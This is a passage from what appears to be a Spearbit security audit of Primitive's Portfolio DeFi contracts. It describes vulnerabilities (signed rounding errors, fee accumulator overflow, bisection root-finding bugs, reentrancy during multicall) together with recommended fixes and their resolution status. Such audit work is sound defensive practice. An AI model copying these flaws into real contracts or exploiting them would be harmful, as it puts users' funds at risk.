Description: A pool can have a priority fee that is only applied when the pool controller (contract) performs a swap. However, when estimating a swap with `getAmountOut` the priority fee will always be applied as long as there is a controller and a priority fee. As the priority fee is usually less than the normal fee, the input amount will be underestimated for non-controllers and the input amount will be too low and the swap reverts.

Recommendation: Apply the priority fee only if the swapper is the controller. It might be useful to extend `getAmountOut` with an additional address parameter indicating the swap caller. This is because when the swap amounts are estimated offchain using `eth_call`, the `msg.sender` defaults to the zero address. Alternatively, use `eth_call`'s `from` parameter. Note that adding the parameter to the function might still be useful for other smart contracts that want to estimate swaps.

Primitive: Decided to follow the recommendation and add an extra parameter to `getAmountOut` and the related functions PR 312.

Spearbit: Resolved.

5.3.4 Rounding functions are wrong for negative integers

Severity: Medium Risk

Context: AssemblyLib.sol#L297, RMM01Portfolio.sol#L139-L143

Description: The `AssemblyLib.scaleFromWadUpSigned` and `AssemblyLib.scaleFromWadDownSigned` both work on `int256`s and therefore also on negative integers. However, the rounding is wrong for these. Rounding down should mean rounding towards negative infinity, and rounding up should mean rounding towards positive infinity. The `scaleFromWadDownSigned` only performs a truncations, rounding negative integers towards zero.

This function is used in `checkInvariant` to ensure the new invariant is not less than the new invariant in a swap:

```
int256 liveInvariantWad = invariant.scaleFromWadDownSigned(pools[poolId].pair.decimalsQuote);
int256 nextInvariantWad = nextInvariant.scaleFromWadDownSigned( pools[poolId].pair.decimalsQuote );
nextInvariantWad >= liveInvariantWad
```

It can happen for quote tokens with fewer decimals, for example, 6 with USDC, that `liveInvariantWad` was rounded from a positive `0.9999e12` value to zero. And `nextInvariantWad` was rounded from a negative value of `-0.9999e12` to zero. The check passes even though the invariant is violated by almost 2 quote token units.

Recommendation: Consider properly rounding negative integers towards negative infinity in `scaleFromWadDownSigned` and towards positive infinity in `scaleFromWadUpSigned`. Add tests for these functions to ensure they work correctly on negative integers.

Primitive: Fixed in PR 326.

Spearbit: Fixed.

5.3.5 LPs can lose fees if fee growth accumulator overflows their checkpoint

Severity: Medium Risk

Context: PortfolioLib.sol#L215-L224

Description: Fees (that are not reinvested in the pool) are currently tracked through an accumulator value `pool.feeGrowthGlobalAsset` and `pool.feeGrowthGlobalQuote`, computed as asset or quote per liquidity. Each user providing liquidity has a checkpoint of these values from their last sync (`claim`). When syncing new fees, the *distance* from the current value to the user's checkpoint is computed and multiplied by their liquidity. The accumulator values are deliberately allowed to overflow as only the distance matters. However, if an LP does not sync its fees and the accumulator grows, overflows, and grows larger than their last checkpoint, the LP loses all fees.

Example:

- User allocates at `pool.feeGrowthGlobalAsset = 1000e36`
- `pool.feeGrowthGlobalAsset` grows and overflows to `0`. `differenceAsset` is still accurate.
- `pool.feeGrowthGlobalAsset` grows more and is now at `1000e36` again. `differenceAsset` will be zero. If the user only claims their fees now, they'll earn 0 fees.

Recommendation: LPs need to claim their fees before their checkpoint is reached. Alternatively, consider ways to accurately track LP fees that do not have this issue.

> Note that the same issue exists for the pool controller's `invariantGrowth` but this functionality is not used for anything yet.

Primitive: Claiming mechanism was removed.

Spearbit: Fees are now always reinvested into the pool, claiming is no longer necessary and was removed. This issue is no longer relevant.

5.4 Low Risk

5.5 Gas Optimization

5.5.1 Unnecessary left shift in `encodePoolId`

Severity: Gas Optimization

Context: FVMLib.sol#L220

Description: The `encodePoolId` performs a left shift of `0`. This is a noop.

Recommendation: Remove the `shl(0, .)`.

Primitive: Resolved in PR 306.

Spearbit: Resolved.

5.5.2 `_syncPool` performs unnecessary pool state updates

Severity: Gas Optimization

Context: Portfolio.sol#L638-L639

Description: The `_syncPool` function is only called during a swap. During a swap the `liquidity` never changes and the pool's last timestamp has already been updated in `_beforeSwapEffects`.

Recommendation: Consider removing the update to `liquidity` and `lastTimestamp` in `_syncPool`.

Primitive: Fixed in PR 333.

Spearbit: Fixed, liquidity is not updated again. Timestamp is still updated if it has not been updated yet to make Portfolio more general and work with other RMMs that might not update the timestamp in the beforeSwap hook.

5.5.3 `Portfolio.sol` gas optimizations

Severity: Gas Optimization

Context: Portfolio.sol

Description: Throughout the contract we've identified a number of minor gas optimizations that can be performed. We've gathered them into one issue to keep the issue number as small as possible.

- L750 The `msg.value > 0` check is done also in the `__wrapEther__` call
- L262

The following substitutions can be optimized in case assets are 0 by moving each instruction within the `if`'s on lines 256-266

```
pos.tokensOwedAsset -= claimedAssets.safeCastTo128();
pos.tokensOwedQuote -= claimedQuotes.safeCastTo128();
```

- L376

Consider using the `pool` object (if it remains as a storage object) instead of `pools[args.poolId]`

- L444:L445

The following two instructions can be grouped into one.

```
output = args.output;
output = output.scaleToWad(...
```

- L436:L443

The `internalBalance` variable can be discarded due to the fact that it is used only within the input assignment.

```
uint256 internalBalance = getBalance(
    msg.sender,
    _state.sell ? pool.pair.tokenAsset : pool.pair.tokenQuote
);
input = args.useMax == 1 ? internalBalance : args.input;
input = input.scaleToWad(
    _state.sell ? pool.pair.decimalsAsset : pool.pair.decimalsQuote
);
```

- L808

Assuming that the swap instruction will be one of the most used instructions, might be worth moving it as first if condition to save gas.

- L409

The `if (args.input == 0) revert ZeroInput();` can be removed as it will result in `iteration.input` being zero and reverting on L457.

Recommendation: Implement the gas optimization suggestions.

Primitive: Resolved in PR 309. The only recommendation left is to use the pool object with the storage keyword, however, this might lead to an increase of the size of the contract. We'll wait until the other branches are merged to see if we can afford this one or not. Also, the `msg.value > 0` was removed in the `__wrapEther__` function and kept in the `_deposit` which is the only caller of `__wrapEther__`.

Spearbit: Fixed.

5.6 Informational

5.6.1 Incomplete NatSpec comments

Severity: Informational

Context: IPortfolio.sol##L6

Description: Throughout the IPortofolio.sol interface, various NatSpec comments are missing or incomplete

Recommendation: Consider adding the necessary documentation to this file to help 3rd parties easily integrate with a Portfolio.

Primitive: Acknowledged.

Spearbit: Acknowledged.

5.6.2 Inaccurate Comments

Severity: Informational

Context:[1] Porfolio.sol#L26, [2] RMM01Portfolio.sol#L130, [3] FVMLib.sol#L94-L95

Description: These comments are inaccurate. [1] The hex value on this line translates to `v0.1.0-beta` instead of `v1.0.0-beta`. [2] `computeTau` returns either the time until pool maturity, or zero if the pool is already expired. [3] These comments do not properly account for the two byte offset from the start of the array (in L94, only in the endpoint of the slice).

Recommendation: Correct or remove the inaccuracies.

Primitive: Related PR 318.

Spearbit: Fixed.

5.6.3 Check for `priorityFee` should have its own custom error

Severity: Informational

Context: PortfolioLib.sol#L428

Description: The check for invalid `priorityFee` within the `checkParameters` function uses the same custom error as the one for `fee`. This could lead to confusion in the error output.

Recommendation: Since all other checks have their own unique custom errors, one should be added for `priorityFee`

```
error InvalidPriorityFee(uint16 priorityFee);
```

Primitive: Resolved in PR 317.

Spearbit: Resolved.

5.6.4 Unclear @dev comment

Severity: Informational

Context: AccountLib.sol#L123

Description: This comment is misleading. It implies that `cache` is used to "check" state while it in fact changes it.

Recommendation: The comment should be updated to reflect this.

Primitive: Resolved in PR 315.

Spearbit: Resolved.

5.6.5 Unused custom error

Severity: Informational

Context: AccountLib.sol#L52

Description: Unused error

```
error AlreadySettled();
```

Recommendation: This custom error should be removed as it remains unused. (Or given a use)

Primitive: Resolved, the custom error has been removed in PR 313.

Spearbit: Resolved.

5.6.6 Use named constants

Severity: Informational

Context: FVMLib.sol#L494

Description: The `decodeSwap` function compares a value against the constant `6`. This value indicates the `SWAP_ASSET` constant.

```
sellAsset := eq(6, and(0x0F, byte(0, value)))
```

Recommendation: Consider using named constants instead of inlining constants. This makes the code easier to understand and is future-proof in case the named constant's value changes in the future.

Primitive: Resolved by adding a comment explaining why we are using 6 and what it represents and how `bytes1` variable is padded PR 314.

Spearbit: Resolved by adding a comment. The risk of discrepancies when the named constant value is changed still exists.

5.6.7 `scaleFromWadUp` and `scaleFromWadUpSigned` can underflow

Severity: Informational

Context: AssemblyLib.sol#L283, AssemblyLib.sol#L303

Description: The `scaleFromWadUp` and `scaleFromWadUpSigned` will underflow if the `amountWad` parameter is `0` because they perform an unchecked subtraction on it:

```
outputDec := add(div(sub(amountWad, 1), factor), 1) // ((a-1) / b) + 1
```

Recommendation: Note that these functions are currently not used. Consider removing them or performing a checked subtraction.

Primitive: Fixed in PR 327.

Spearbit: Fixed.

5.6.8 `AssemblyLib.pack` does not clear `lower`'s upper bits

Severity: Informational

Context: AssemblyLib.sol#L222

Description: The `pack` function packs the 4 lower bits of two bytes into a single byte. If the `lower` parameter has dirty upper bits, they will be mixed with the `higher` byte and be set on the final return value.

Recommendation: Clear the 4 upper bits of the lower bytes in `pack`.

Primitive: Good catch! Here is the fix PR 303.

Spearbit: Resolved.

5.6.9 `AssemblyLib.toBytes8/16` functions assumes a max `raw` length of 16

Severity: Informational

Context: AssemblyLib.sol#L159

Description: The `toBytes16` function only works if the length of the `bytes raw` parameter is at most 16 because of the unchcked subtraction:

```
let shift := mul(sub(16, mload(raw)), 8)
```

The same issue exists for the `toBytes8` function.

Recommendation: Consider checking the length so the subtraction doesn't underflow.

Primitive: Resolved PR 308.

Spearbit: Resolved.

5.6.10 `PortfolioLib.maturity` returns wrong value for `perpertual` pools

Severity: Informational

Context: PortfolioLib.sol#L373

Description: A pool can be a perpetual pool that is modeled as a pool with a time to maturity always set to 1 year in the `computeTau`. However, the `maturity` function does not return this same maturity. This currently isn't a problem as `maturity` is only called from `computeTau` in case it is *not* a perpetual pool.

Recommendation: Consider adding a dev comment that `maturity` is inaccurate for perpetual pools or return `block.timestamp + SECONDS_PER_YEAR` for perpetual pools.

Primitive: Fixed in PR 328.

Spearbit: Fixed.

5.6.11 `_createPool` has incomplete NatSpec and event args

Severity: Informational

Context: Portfolio.sol#L683, Portfolio.sol#L732

Description: The `_createPool` function contains incomplete NatSpec specifications. Furthermore, the event emitted by this function can be improved by adding more arguments.

Recommendation: Consider completing the NatSpec of this function and add more arguments that it would be useful for later reporting and debugging.

Primitive: Resolved in PR 311.

Spearbit: Resolved.

5.6.12 `_liquidityPolicy` is cast to a `uint8` but it should be a `uint16`

Severity: Informational

Context: Portfolio.sol#L719

Description: During `_createPool` the pool curve parameters are set. One of them is the `jit` parameter which is a `uint16`. It can be assigned the default value of `_liquidityPolicy` but it is cast to a `uint8`. If the `_liquidityPolicy` constant is ever changed to a value greater than `type(uint8).max` a wrong jit value will be assigned.

Recommendation: Cast `_liquidityPolicy` to a `uint16`:

```
- jit: hasController ? jit : uint8(_liquidityPolicy),
+ jit: hasController ? jit : uint16(_liquidityPolicy),
```

Primitive: Resolved in PR 310.

Spearbit: Resolved.

5.6.13 Update `_feeSavingEffects` documentation

Severity: Informational

Context: Objective.sol#L20

Description: The `_feeSavingEffects` documentation states:

> @return bool True if the fees were saved in position's owed tokens instead of re-invested.

Recommendation: There is no position with owed tokens that gets updated in this function as a position refers to a single *user position*. The function updates `_state.feeGrowthGlobal` and afterward the global fee accumulator `pool.feeGrowthGlobalAsset/Quote` for all LPs.

Primitive: Resolved in PR 320.

Spearbit: Fixed.

5.6.14 Document `checkInvariant` and resolve confusing naming

Severity: Informational

Context: RMM01Portfolio.sol#L141, Objective.sol#L61

Description: The `checkInvariant` function's return values are undocumented and the used variables' names are confusing.

Recommendation: Document the `checkInvariant` function's return values in `Objective` and state the decimals the invariant is in (WAD). Consider renaming the variables to better match their scaling units:

- `nextInvariantWad` -> `nextInvariantQuote` as this variable is in quote units after the scale-down.
- `nextInvariant` -> `nextInvariantWad` as this variable is in WAD units.
- `liveInvariantWad` -> `liveInvariantQuote` as this variable is in quote units after the scale-down.

Consider doing the invariant check on the WAD invariants which would make the quote invariants obsolete.

Primitive: PR 326 removes the confusing scaling altogether. This means the invariant check is for full WAD precision, which is overall better validation that the invariant was not manipulated in a way to take advantage of the scaling that was happening.

Spearbit: Fixed.

6 Appendix

6.1 Appendix: Summary

The two Lead Security Researchers from the main review participated on an extension period from May 8th to May 12th targeting commit 86f8ee. During this period of time **9** issues were found and fixes to issues from the original review were validated or acknowledged.

6.2 High Risk

6.2.1 Token amounts are in wrong decimals if `useMax` parameter is used

Severity: High Risk

Context: Portfolio.sol#L227-L237, Portfolio.sol#L444-L448

Description: The `allocate` and `swap` functions have a `useMax` parameter that sets the token amounts to be used to the net balance of the contract. This net balance is the return value of a `getNetBalance` call, which is in *token decimals*. The code that follows (`getPoolMaxLiquidity` for `allocate`, `iteration.input` for `swap`) expects these amounts to be in WAD units.

Using this parameter with tokens that don't have 18 decimals does not work correctly. The actual tokens used will be far lower than the expected amount to be used which will lead to user loss as the tokens remain in the contract after the action.

Recommendation: Scale these amounts to WAD units. Add tests for both scenarios.

Primitive: Fixed in PR 387.

Spearbit: Fixed.

6.3 Medium

6.3.1 `getAmountOut` underestimates outputs leading to losses

Severity: Medium Risk

Context: BisectionLib.sol#L54

Description: When computing the output, the `getAmountOut` performs a bisection. However, this bisection returns any root of the function, not the lowest root. As the invariant is far from being strictly monotonic in `R_x`, it contains many neighbouring roots (> 2e9 in the example) and it's important to return the lowest root, corresponding to the lowest `nextDependent`, i.e., it leads to a larger output amount `amountOut = prevDependent - nextDependent`.

Users using this function to estimate their outputs can incur significant losses.

- Example: Calling `getAmountOut(poolId, false, 1, 0, address(0))` with the pool configuration in the example will return `amtOut = 123695775`, whereas the real max possible `amtOut` for that swap is 33x higher at `4089008108`.

The core issue is that `invariant` is not strictly monotonic, `invariant(R_x, R_y) = invariant(R_x + 2_852_050_358, R_y)`, there are many neighbouring roots for the pool configuration:

```
function test_eval() public {
    uint128 R_y = 56075575;
    uint128 R_x = 477959654248878758;
    uint128 stk = 117322822;
    uint128 vol = 406600000000000000;
    uint128 tau = 2332800;

    int256 prev = Invariant.invariant({R_y: R_y, R_x: R_x, stk: stk, vol: vol, tau: tau});
    // this is the actual dependent that still satisfies the invariant
    R_x -= 2_852_050_358;
    int256 post = Invariant.invariant({R_y: R_y, R_x: R_x, stk: stk, vol: vol, tau: tau});
```

```
    console2.log("prev: %s", prev);
    console2.log("post: %s", post);
    assertEq(post, prev);
    assertEq(post, 0);
}
```

Recommendation: To return the lowest root the bisection has to:

- Not return the first midpoint that is a root
- If it found a root, it should search in the `[lower, midPoint]` interval for a lower root. The current code searches in the `[midPoint, upper]` interval if `output` or `lowerOutput` is 0. The `if (output * lowerOutput < 0)` condition should be changed to `if (output * lowerOutput <= 0)`

```
function bisection(
   Bisection memory args,
   uint256 lower,
   uint256 upper,
   uint256 epsilon,
   uint256 maxIterations,
   function(Bisection memory,uint256) pure returns (int256) fx
) pure returns (uint256 root) {
   // ...
   do {
       // Bisection uses the point between the lower and upper bounds.
       // The `distance` is halved each iteration.
       root = (lower + upper) / 2;

       int256 output = fx(args, root);
-      if (output == 0) break; // Found the root.
       lowerOutput = fx(args, lower); // Lower point could have changed in the previous iteration.

       // If the product is negative, the root is between the lower and root.
       // If the product is positive, the root is between the root and upper.
-      if (output * lowerOutput < 0) {
+      // must be <= instead of < so if mid is a root, we keep looking for a lower root on the left
↪  (set new upper bound to mid)
+      if (output * lowerOutput <= 0) {
           upper = root; // Set the new upper bound to the root because we know its between the lower
           ↪  and root.
       } else {
           lower = root; // Set the new lower bound to the root because we know its between the upper
           ↪  and root.
       }

       // Update the distance with the new bounds.
       distance = upper - lower;

       unchecked {
           iterations++; // Increment the iterator.
       }
   } while (...)
}
```

This might return the lowest root - 1, which is then increased by 1 in `computeSwapStep`.

Primitive: Recommended changes were made in PR 388.

Spearbit: Fixed.

6.3.2 `getAmountOut` Calculates an Output Value That Sets the Invariant to Zero, Instead of Preserving Its Value

Severity: Medium Risk

Context: [1] RMM01Lib.sol#L84, [2] RMM01Lib.sol#L215, [3] RMM01Lib.sol#L231

Description: The `swap` function enforces that the pool's invariant value does not decrease; however, the `getAmountOut` function computes an expected swap output based on setting the pool's invariant to zero, which is only equivalent if the initial value of the invariant was already zero--which will generally not be the case as fees accrue and time passes. This is because in `computeSwapStep` (invoked by `getAmountOut` [1]), the function (`optimizeDependentReserve`) passed [2] to the bisection algorithm for root finding returns just the invariant evaluated on the current arguments [3] instead of the difference between the evaluated and original invariant. As a consequence, `getAmountOut` will return an inaccurate result when the starting value of the invariant is non-zero, leading to either disadvantageous swaps or swaps that revert, depending on whether the current pool invariant value is less than or greater than zero.

Recommendation: Add another field to the `Bisection` struct for the initial invariant value, and modify `optimizeDependentReserve` to return the difference between the value it currently returns and the initial invariant value.

Primitive: Fixed in commit cbec75.

Spearbit: Fixed confirmed.

6.3.3 `getAmountOut` Does Not Adjust The Pool's Reserve Values Based on the `liquidityDelta` Parameter

Severity: Medium Risk

Context: RMM01Lib.sol#L111-L128

Description: The `liquidityDelta` parameter allows a caller to adjust the liquidity in a pool before simulating a swap. However, corresponding adjustments are not made to the per-pool reserves, `virtualX` and `virtualY`. This makes the reserve-to-liquidity ratios used in the calculations incorrect, leading to inaccurate results (or potentially reverts if the invalid values fall outside of allowed ranges). Use of the inaccurate swap outputs could lead either to swaps at bad prices or swaps that revert unexpectedly.

Recommendation: Adjust the pool reserve values based on the `liquidityDelta` parameter, add them as additional parameters, or remove the `liquidityDelta` parameter.

Primitive: Fixed by removing `liquidityDelta` in PR 389.

Spearbit: Fix confirmed.

6.4 Low Risk

6.4.1 Bisection always uses max iterations

Severity: Low Risk

Context: BisectionLib.sol#L51

Description: The current bisection algorithm chooses the mid point as `root = (lower + upper) / 2;` and the bisection terminates if either `upper - lower < 0` or `maxIterations` is reached. Given `upper >= lower` throughout the code, it's easy to see that `upper - lower < 0` can never be satisfied. The bisection will always use the max iterations. However, even with an epsilon of `1` it can happen that the mid point `root` is the same as the `lower` bound if `upper = lower + 1`. The `if (output * lowerOutput < 0)` condition will never be satisfied and the `else` case will always run, setting the `lower` bound to itself. The bisection will keep iterating with the same `lower` and `upper` bounds until max iterations are reached.

Recommendation: Consider choosing an epsilon of `1` and changing the condition to:

```
- uint256 constant BISECTION_EPSILON = 0;
+ uint256 constant BISECTION_EPSILON = 1;
```

```
- while (distance >= epsilon && iterations != maxIterations);
+ while (distance > epsilon && iterations < maxIterations);
```

Primitive: Fixed in commit b643d8.

Spearbit: Fix verified.

6.4.2 Potential reentrancy in `claimFees`

Severity: Low Risk

Context: Portfolio.sol#L890

Description: The contract performs all transfers in the `_settlement` function and therefore `_settlement` can callback to the user for reentrant tokens. To avoid reentrancy issues the `_preLock()` modifier implements a reentrancy check, but only if the called action is not happening during a `multicall` execution:

```
function _preLock() private {
    // Reverts if the lock was already set and the current call is not a multicall.
    if (_locked != 1 && !_currentMulticall) {
        revert InvalidReentrancy();
    }

    _locked = 2;
}
```

Therefore, `multicall`s are not protected against reentrancy and `_settlement` should never be executed, only once at the end of the original `multicall` function. However, the `claimFee` function can be called through a `multicall` by the protocol owner and it calls `_settlement` even if the execution is part of a multicall.

Recommendation: All `_settlement()` calls outside of `multicall` should be guarded with `if (_currentMulticall == false) _settlement();` to not execute during a multicall. The `claimFee` function is missing this guard.

Primitive: Fixed in commit 7ee048.

Spearbit: Fix confirmed.

6.5 Gas Optimization

6.5.1 Bisection can be optimized

Severity: Gas Optimization

Context: BisectionLib.sol#L53-L63

Description: The `Bisection` algorithm tries to find a root of the monotonic function. Evaluating the expensive invariant function at the lower point on each iteration can be avoided by caching the `output` function value whenever a new lower bound is set.

Recommendation: Consider changing the code to:

```
- lowerOutput = fx(args, lower); // Lower point could have changed in the previous iteration.

 // If the product is negative, the root is between the lower and root.
 // If the product is positive, the root is between the root and upper.
 if (output * lowerOutput < 0) {
    upper = root; // Set the new upper bound to the root because we know its between the lower and root.
 } else {
    lower = root; // Set the new lower bound to the root because we know its between the upper and root.
+   lowerOutput = output; // root function value becomes new lower output value
 }
```

Primitive: Fixed in PR 386.

Spearbit: Fixed.

6.6 Informational

6.6.1 Pool existence check in `swap` should happen earlier

Severity: Informational

Context: Portfolio.sol#L431

Description: The `swap` function makes use of the pool pair's tokens to scale the input decimals before it checks if the pool even exists.

Recommendation: Consider checking if the pool exists before using any pool storage variables.

Primitive: Fixed in commit e440fc.

Spearbit: Fix confirmed.

6.6.2 Pool creation in test uses wrong duration and volatility

Severity: Informational

Context: HelperConfigsLib.sol#L166-L167

Description: The second path with `pairId != 0` in `HelperConfigsLib`'s pool creation calls the `createPool` method with the volatility and duration parameters swapped, leading to wrong pool creations used in tests that use this path.

Recommendation: The `volatility` parameter comes before the `duration` parameter.

```
 } else {
    bytes[] memory data = new bytes[](1);

    data[0] = abi.encodeCall(
        IPortfolioActions.createPool,
        (
            pairId, // uses 0 pairId as magic variable. todo: maybe change to max uint24?
            self.controller,
            self.priorityFeeBps,
            self.feeBps,
-           self.durationDays,
-           self.volatilityBps,
+           self.volatilityBps,
+           self.durationDays,
            self.terminalPriceWad,
            self.reportedPriceWad
        )
    );
 }
```

Primitive: Fixed in PR 384.

Spearbit: Fixed.